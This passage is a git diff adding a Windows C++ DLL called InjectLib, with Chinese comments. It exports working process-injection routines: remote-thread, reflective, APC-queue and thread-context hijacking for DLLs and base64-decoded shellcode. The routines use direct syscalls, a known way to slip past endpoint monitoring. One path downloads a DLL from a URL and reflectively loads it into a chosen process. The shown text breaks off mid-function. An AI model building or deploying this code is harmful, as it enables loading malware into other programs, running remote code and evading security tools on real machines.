diff --git a/InjectLib/InjectLib.cpp b/InjectLib/InjectLib.cpp new file mode 100644 index 0000000..8a588c2 --- /dev/null +++ b/InjectLib/InjectLib.cpp @@ -0,0 +1,87 @@ +// InjectLib.cpp : 定义 DLL 的导出函数。 +// + +#include "pch.h" +#include "framework.h" +#include "InjectLib.h" + +//远程线程注入DLL +INJECTLIB_API bool rmtdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.remoteThreadInject(pid); + return true; +} + +//反射式注入DLL +INJECTLIB_API bool refdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.reflectInject(pid); + return true; +} +//APC队列注入DLL +INJECTLIB_API bool apcdll(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.apcInject(pid); + return true; +} +//从网络加载DLL注入DLL +INJECTLIB_API bool net(std::string dllPath, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(dllPath); + injector.internetInject(pid, dllPath); + return true; +} +//远程线程注入Shellcode +INJECTLIB_API bool rmtsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.shellcodeInject(shellcode, pid); + return true; +} +//APC队列注入Shellcode +INJECTLIB_API bool apcsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.apcShellcodeInject(shellcode, pid); + return true; +} +//上下文注入Shellcode +INJECTLIB_API bool ctxsc(std::string shellcode, DWORD pid) { + if (pid == 0) + return false; + auto injector = Injector(); + injector.contextShellcodeInject(shellcode, pid); + return true; +} + +//上下文注入Shellcode +INJECTLIB_API DWORD getPID(const char* proc_name_cstr) { + auto injector = Injector(); + return injector.getPidByName(proc_name_cstr); +} + +/* +// 这是导出变量的一个示例 +INJECTLIB_API int nInjectLib=0; + +// 这是导出函数的一个示例。 +INJECTLIB_API int fnInjectLib(void) +{ + return 0; +} + +// 这是已导出类的构造函数。 +CInjectLib::CInjectLib() +{ + return; +} +*/ \ No newline at end of file diff --git a/InjectLib/InjectLib.h b/InjectLib/InjectLib.h new file mode 100644 index 0000000..81eb9a1 --- /dev/null +++ b/InjectLib/InjectLib.h @@ -0,0 +1,39 @@ +// 下列 ifdef 块是创建使从 DLL 导出更简单的 +// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 INJECTLIB_EXPORTS +// 符号编译的。在使用此 DLL 的 +// 任何项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 +// INJECTLIB_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 +// 符号视为是被导出的。 +#ifdef INJECTLIB_EXPORTS +#define INJECTLIB_API __declspec(dllexport) +#else +#define INJECTLIB_API __declspec(dllimport) +#endif + +#include "./app/Injector.h" + +#include +#include + + +extern "C" INJECTLIB_API bool rmtdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool refdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool apcdll(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool net(std::string dllPath, DWORD pid); +extern "C" INJECTLIB_API bool rmtsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API bool apcsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API bool ctxsc(std::string shellcode, DWORD pid); +extern "C" INJECTLIB_API DWORD getPID(const char* proc_name_cstr); + +/* +// 此类是从 dll 导出的 +class INJECTLIB_API CInjectLib { +public: + CInjectLib(void); + // TODO: 在此处添加方法。 +}; + +extern INJECTLIB_API int nInjectLib; + +INJECTLIB_API int fnInjectLib(void); +*/ \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj b/InjectLib/InjectLib.vcxproj new file mode 100644 index 0000000..6c3019f --- /dev/null +++ b/InjectLib/InjectLib.vcxproj @@ -0,0 +1,203 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {dae5dcc7-f89a-4265-aa2b-bbf9fb48c96e} + InjectLib + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + InjectLib + false + + + InjectLib + false + + + InjectLib + false + + + InjectLib + false + + + + Level3 + true + WIN32;_DEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + false + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + + + Level3 + true + true + true + WIN32;NDEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + true + false + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + + + Level3 + true + _DEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + false + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + + + Level3 + true + true + true + NDEBUG;INJECTLIB_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + + + Windows + true + true + false + false + d3d11.lib;Crypt32.lib;wininet.lib;$(CoreLibraryDependencies);%(AdditionalDependencies) + + + + + + + Document + ml64 /Fo $(IntDir)%(fileName).obj /c /Cp app\%(fileName).asm + $(IntDir)%(fileName).obj;%(Outputs) + ml64 /Fo $(IntDir)%(fileName).obj /c /Cp app\%(fileName).asm + $(IntDir)%(fileName).obj;%(Outputs) + + + + + + + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj.filters b/InjectLib/InjectLib.vcxproj.filters new file mode 100644 index 0000000..9cdeea5 --- /dev/null +++ b/InjectLib/InjectLib.vcxproj.filters @@ -0,0 +1,65 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + \ No newline at end of file diff --git a/InjectLib/InjectLib.vcxproj.user b/InjectLib/InjectLib.vcxproj.user new file mode 100644 index 0000000..966b4ff --- /dev/null +++ b/InjectLib/InjectLib.vcxproj.user @@ -0,0 +1,6 @@ + + + + true + + \ No newline at end of file diff --git a/InjectLib/app/Injector.cpp b/InjectLib/app/Injector.cpp new file mode 100644 index 0000000..f276625 --- /dev/null +++ b/InjectLib/app/Injector.cpp @@ -0,0 +1,902 @@ +#include "../pch.h" +#include "./Injector.h" +#include "./S-Wisper.h" +#include "./utils/query.hpp" +#include "./utils/crypto.hpp" + +#include +#include +#include + +Injector::Injector(std::string dll_path) { + this->DllPath = dll_path; + this->callback_ = nullptr; + this->exist = this->bFileExists(this->DllPath); + + //constexpr const std::wstring = Crypto::xorstr() + if (!exist) { + return; + } + + this->hNtDll = GetModuleHandle(L"ntdll.dll"); + if (this->hNtDll == nullptr) { + exit(0); + } + this->NtQuerySystemInformation = \ + reinterpret_cast(GetProcAddress(this->hNtDll, "NtQuerySystemInformation")); + + if (!NtQuerySystemInformation) { + return; + } +} + +Injector::Injector() { + this->DllPath = ""; + this->exist = FALSE; + this->callback_ = nullptr; + + this->hNtDll = GetModuleHandle(L"ntdll.dll"); + if (this->hNtDll == nullptr) { + exit(0); + } + this->NtQuerySystemInformation = \ + reinterpret_cast(GetProcAddress(this->hNtDll, "NtQuerySystemInformation")); + + if (!NtQuerySystemInformation) { + return; + } +} + +Injector::~Injector() {} + +void Injector::dllPathSetter(std::string dll_path) { + this->DllPath = dll_path; + this->exist = this->bFileExists(this->DllPath); + if (!exist) { + return; + } +} + +void Injector::callBackSetter(CallbackFunction InjecMethod) { + this->callback_ = InjecMethod; +} + +/* Remote Thread Injection */ +void Injector::remoteThreadInject(DWORD pid) { + if (!this->bPreInjectCheck(pid)) + return; + + const SIZE_T dwAllocSize = this->DllPath.size() + 1; + const int waitTime = 500; + + bool bRet; + SIZE_T dwWriteSize = 0; + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, dwAllocSize, MEM_COMMIT, PAGE_READWRITE); + + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = ::WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), dwAllocSize, &dwWriteSize); + if (!bRet) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HMODULE hmodDLL = LoadLibraryA("kernel32.dll"); + if (hmodDLL == INVALID_HANDLE_VALUE || hmodDLL == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + LPVOID LoadLibraryBase = GetProcAddress(hmodDLL, "LoadLibraryA"); + if (LoadLibraryBase == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HANDLE hRemoteProcess = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hRemoteProcess, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, FALSE, NULL, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL || status != STATUS_SUCCESS) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); + return; + } +#else +#ifdef _WIN32 + hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryBase, pAddress, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); + return; + } +#endif // _WIN32 +#endif // _WIN64 + + + WaitForSingleObject(hRemoteProcess, 500); + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + FreeModule(hmodDLL); +} + +void Injector::unInject(DWORD pid) { + if (pid == 0) + return; + + MODULEENTRY32 result = { sizeof(result) }; + if (!this->exist) + return; + if (!this->bGetModule(pid, result)) + return; + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == NULL) { + return; + } + + HMODULE hModule = GetModuleHandle(L"kernel32.dll"); + if (hModule == NULL) { + CloseHandle(hProcess); + return; + } + + LPTHREAD_START_ROUTINE hFreeLib = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary"); + if (hFreeLib == NULL) { + + CloseHandle(hProcess); + FreeModule(hModule); + return; + } + + //HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, hFreeLib, result.modBaseAddr, 0, NULL); + HANDLE hThread = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)hFreeLib, result.modBaseAddr, FALSE, NULL, NULL, NULL, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL || status != STATUS_SUCCESS) { + + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + hThread = CreateRemoteThread(hProcess, NULL, 0, hFreeLib, result.modBaseAddr, 0, NULL); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + + CloseHandle(hProcess); + return; + } +#endif // _WIN32 +#endif // _WIN64 + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hProcess); + FreeModule(hModule); + //CloseHandle(hFreeLib); +} + + +/* Reflect DLL Injection */ +void Injector::reflectInject(DWORD pid) { + this->atomReflectInject(pid); +} + + +/* APC Dispatch Injection */ +void Injector::apcInject(DWORD pid) { + if (!this->bPreInjectCheck(pid)) + return; + + bool bRet; + const SIZE_T dwAllocSize = this->DllPath.size() + 1; + + SIZE_T dwWriteSize = 0; + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, dwAllocSize, MEM_COMMIT, PAGE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, this->DllPath.c_str(), this->DllPath.size() + 1, &dwWriteSize); + if (!bRet) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + HMODULE Ntdll = LoadLibraryA("kernel32.dll"); + if (Ntdll == INVALID_HANDLE_VALUE || Ntdll == NULL) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + LPVOID LoadLibraryBase = GetProcAddress(Ntdll, "LoadLibraryA"); + if (LoadLibraryBase == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + + // loop process -> then loop thread + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; processInfo; ) { + if (reinterpret_cast(processInfo->ProcessId) == pid) { + // loop thread + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + continue; + } + DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryBase, hThread, (ULONG_PTR)pAddress); + if (dwRet > 0) bStat = TRUE; + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + if (!bStat) + VirtualFreeEx(hProcess, pAddress, dwAllocSize, MEM_COMMIT); + CloseHandle(hProcess); +} + +/* using fiber thread Injection */ +void Injector::fiberInject(DWORD pid) { + +} + +/* Reflect Inject using dll from internet */ +void Injector::internetInject(DWORD pid, std::string url) { + this->atomReflectInject(pid, url); +} + +/* List Injectable Process */ +std::vector Injector::injectList() { + std::vector procInfo; + + // loop process -> then loop thread + ULONG bufferSize = 0; + HANDLE hProcess = NULL; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + return procInfo; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + BOOL bWow64 = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return procInfo; + } + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; + processInfo;) + { + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, reinterpret_cast(processInfo->ProcessId)); + if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) { + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + continue; + } + if (IsWow64Process(hProcess, &bWow64)) { +#ifdef _WIN64 + if (!bWow64) + procInfo.push_back( + ProcessInfo{ reinterpret_cast(processInfo->ProcessId) , processInfo->ImageName.Buffer }); + +#elif _WIN32 + if (bWow64) + procInfo.push_back( + ProcessInfo{ reinterpret_cast(processInfo->ProcessId) , processInfo->ImageName.Buffer }); +#else +#endif + } + CloseHandle(hProcess); + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + + //std::reverse(procInfo.begin(), procInfo.end()); + //note: remove, due to fast refresh + std::reverse(procInfo.begin(), procInfo.end()); + return procInfo; +} + + +/* Inject With Shellcode */ +void Injector::shellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, shellcode.size() + 1, MEM_COMMIT); + return; + } + + //HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL); + HANDLE hRemoteProcess = NULL; +#ifdef _WIN64 + NTSTATUS status = Sw3NtCreateThreadEx(&hRemoteProcess, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE)pAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL || status != STATUS_SUCCESS) { + + VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); + CloseHandle(hProcess); + return; + } +#else +#ifdef _WIN32 + hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL); + if (hRemoteProcess == INVALID_HANDLE_VALUE || hRemoteProcess == NULL) { + + VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT); + CloseHandle(hProcess); + return; + } +#endif // _WIN32 + +#endif // _WIN64 + + WaitForSingleObject(hRemoteProcess, INFINITE); + VirtualFreeEx(hProcess, pAddress, shellcode.size() + 1, MEM_COMMIT); + CloseHandle(hProcess); +} + + +/* Inject Shellcode With APC Dispatch */ +void Injector::apcShellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);//???? Sth intresting happend here Why need READ + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, shellcode.size() + 1, MEM_COMMIT); + return; + } + shellcode = "\x00\x00\x00\x00"; + + // ready to loop thread + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + + if (this->NtQuerySystemInformation == nullptr) { //check if NtQuerySystemInformation is ready + VirtualFreeEx(hProcess, pAddress, size, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); // init process information + for (; processInfo; ) { //loop process + if (reinterpret_cast(processInfo->ProcessId) == pid) { //wanted pid + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { //loop thread + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { //invalid thread handle + continue; + } + DWORD lpflOldProtect; + VirtualProtectEx(hProcess, pAddress, (SIZE_T)(size + 1), PAGE_EXECUTE, &lpflOldProtect); + DWORD dwRet = QueueUserAPC(reinterpret_cast(pAddress), hThread, NULL); + + if (dwRet > 0) bStat = TRUE; + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + //if (!bStat) +} + + +/* Inject Shellcode With Context Resume */ +void Injector::contextShellcodeInject(std::string basedsc, DWORD pid) { + BOOL bRet; + + std::string shellcode = Crypto::Base64Decode(basedsc); + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + DWORD size = shellcode.size() + 1; + LPVOID pAddress = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE); + if (pAddress == nullptr || hProcess == INVALID_HANDLE_VALUE) { + return; + } + + bRet = WriteProcessMemory(hProcess, pAddress, shellcode.c_str(), static_cast(size) - 1, NULL); + if (!bRet) { + + CloseHandle(hProcess); + VirtualFree(pAddress, (SIZE_T)shellcode.size() + 1, MEM_COMMIT); + return; + } + shellcode = "\x00\x00\x00\x00"; + ULONG bufferSize = 0; + HANDLE hThread; + std::vector buffer; + if (this->NtQuerySystemInformation == nullptr) { + VirtualFreeEx(hProcess, pAddress, size, MEM_COMMIT); + CloseHandle(hProcess); + return; + } + NTSTATUS status = this->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &bufferSize); + bool bStat = FALSE; + + buffer.resize(bufferSize); + status = NtQuerySystemInformation(SystemProcessInformation, buffer.data(), bufferSize, &bufferSize); + if (!NT_SUCCESS(status)) { + return; + } + + DWORD dwRet = 0; + CONTEXT context = { 0 }; + context.ContextFlags = CONTEXT_CONTROL; + + PMySYSTEM_PROCESS_INFORMATION processInfo = reinterpret_cast(buffer.data()); + for (; processInfo; ) { + if (reinterpret_cast(processInfo->ProcessId) == pid) { + // loop thread + for (ULONG i = 0; i < processInfo->NumberOfThreads; i++) { + hThread = OpenThread( + PROCESS_ALL_ACCESS, + FALSE, + reinterpret_cast(processInfo->Threads[i].ClientId.UniqueThread)); + if (hThread == INVALID_HANDLE_VALUE || hThread == NULL) { + continue; + } + + ///////// FUNCTIONAL CODE + + DWORD lpflOldProtect; + VirtualProtectEx(hProcess, pAddress, (SIZE_T)size + 1, PAGE_EXECUTE, &lpflOldProtect); + dwRet = SuspendThread(hThread); + if (dwRet == (DWORD)-1) { + + CloseHandle(hThread); + continue; + } + + dwRet = GetThreadContext(hThread, &context); + if (!dwRet) { + + CloseHandle(hThread); + continue; + } + +#ifdef _WIN64 + context.Rip = (DWORD64)pAddress; +#else + context.Eip = (DWORD)pAddress; +#endif // _WIN64 + dwRet = SetThreadContext(hThread, &context); + if (!dwRet) { + + CloseHandle(hThread); + continue; + } + + ResumeThread(hThread); + if (dwRet == (DWORD)-1) { + + CloseHandle(hThread); + continue; + } + + ///////// FUNCTIONAL CODE + CloseHandle(hThread); + break; + } + break; + } + if (processInfo->NextEntryOffset == 0) + break; + //processInfo = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)processInfo + processInfo->NextEntryOffset); + processInfo = reinterpret_cast( + reinterpret_cast(processInfo) + processInfo->NextEntryOffset + ); + } + +} + + +/* Get processs id by process name */ +DWORD Injector::getPidByName(LPCSTR procName) { + std::vector list = this->injectList(); + + int len = MultiByteToWideChar(CP_UTF8, 0, procName, -1, nullptr, 0); + if (len == 0) { + return len; + } + + wchar_t* wideStrConverted = new wchar_t[len]; + MultiByteToWideChar(CP_UTF8, 0, procName, -1, wideStrConverted, len); + + for (auto l : list) { + + if (wcsstr(l.processName.c_str(), wideStrConverted)) + return l.pid; + } + return 0; +} + +/* Some Gadget */ +bool Injector::bFileExists(std::string filePath) { + DWORD fileAttributes = GetFileAttributesA(filePath.c_str()); + + if (fileAttributes != INVALID_FILE_ATTRIBUTES && + !(fileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { + return true; + } + return false; +} + +bool Injector::bPreInjectCheck(DWORD pid) { + if (!this->bFileExists(this->DllPath)) { + return FALSE; + } + + if (pid == 0) { + return FALSE; + } + + if (!this->bInjectable(pid)) { + return FALSE; + } + return TRUE; +} + +bool Injector::bInjectable(DWORD pid) { + HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + + if (processHandle == NULL) { + return false; + } + + // ��Ŀ������з����ڴ� + LPVOID remoteMemory = VirtualAllocEx(processHandle, nullptr, sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (remoteMemory == nullptr) { + + CloseHandle(processHandle); + return false; + } + + // �رվ�����ͷ��ڴ� + VirtualFreeEx(processHandle, remoteMemory, 0, MEM_RELEASE); + CloseHandle(processHandle); + + return true; +} + +bool Injector::bGetModule(DWORD pid, MODULEENTRY32& result) { + BOOL bRet = FALSE; + HANDLE hSnapshot; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + if (hSnapshot == INVALID_HANDLE_VALUE) { + + return FALSE; + } + + + bRet = Module32First(hSnapshot, &result); + for (; bRet; bRet = Module32Next(hSnapshot, &result)) + { + // �����ַ�����תΪխ�ַ����� + size_t bufferSize = wcslen(result.szExePath) + 1; + char convertedWideStr[0x1000]; + //wcstombs_s(convertedWideStr, result.szExePath, bufferSize); + wcstombs_s(nullptr, convertedWideStr, bufferSize, result.szExePath, _TRUNCATE); + if (!strcmp(convertedWideStr, this->DllPath.c_str())) + { + bRet = TRUE; + break; + } + } + CloseHandle(hSnapshot); + if (!bRet) + + return bRet; + +} + +//ԭ�ӷ���ʽע�� +void Injector::atomReflectInject(DWORD pid, std::string url) { + if (pid == 0) { + return; + } + + if (!this->bInjectable(pid)) { + return; + } + + HANDLE hFile = NULL; + DWORD dwFileSize = 0; + SIZE_T dwWriteSize = 0; + std::string buffer = ""; + DWORD dwReadSize; + + if (url.empty()) { //url����Ϊ�� + //ʹ�ñ����ļ�ע�� + hFile = CreateFileA(this->DllPath.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return; + } + dwFileSize = GetFileSize(hFile, NULL); + if (dwFileSize == 0) { + CloseHandle(hFile); + return; + } + + std::vector tempBuffer(dwFileSize); + if (::ReadFile(hFile, tempBuffer.data(), dwFileSize, &dwReadSize, NULL) == FALSE) { + CloseHandle(hFile); + return; + } + buffer.assign(tempBuffer.begin(), tempBuffer.end()); + } + else { + //����url����dll������ buffer + try + { + // ��ʼ�� WinINet + HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + if (hInternet == NULL) { + throw ""; + } + + // ���� HTTP ���� + HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0); + if (hConnect == NULL) { + InternetCloseHandle(hInternet); + throw ""; + } + + // ��ȡ��Ӧ���� + char tempBuffer[4096]; + DWORD bytesRead = 0; + while (InternetReadFile(hConnect, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) { + buffer.append(tempBuffer, bytesRead); + } + // �ر����� + InternetCloseHandle(hConnect); + InternetCloseHandle(hInternet); + + } + catch (...) + { + MessageBox(NULL, L"Failed Download DLL From URL", L"Error", MB_OK); + return; + } + dwFileSize = buffer.size(); + } + + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (hProcess == INVALID_HANDLE_VALUE) { + if (hFile != NULL) + CloseHandle(hFile); + return; + } + + LPVOID pBase = VirtualAllocEx(hProcess, NULL, (SIZE_T)dwFileSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (pBase == NULL) { + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + DWORD dwReflectiveLoaderOffset = this->dwGetOffset((HANDLE) & (buffer[0]), (CHAR*)"ReflectiveLoader"); + if (dwReflectiveLoaderOffset == 0) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + bool bRet = WriteProcessMemory(hProcess, pBase, &(buffer[0]), dwFileSize, &dwWriteSize); + if (dwWriteSize != dwFileSize) { + VirtualFreeEx(hProcess, pBase, (SIZE_T)dwFileSize + 1, MEM_COMMIT); + if (hFile != NULL) + CloseHandle(hFile); + CloseHandle(hProcess); + return; + } + + LPTHREAD_START_ROUTINE lpReflectiveLoader = reinterpret_cast( + reinterpret_cast(pBase) + dwReflectiveLoaderOffset + ); + + HANDLE hThread = NULL; +#ifdef _WIN64 + NTSTATUS status = 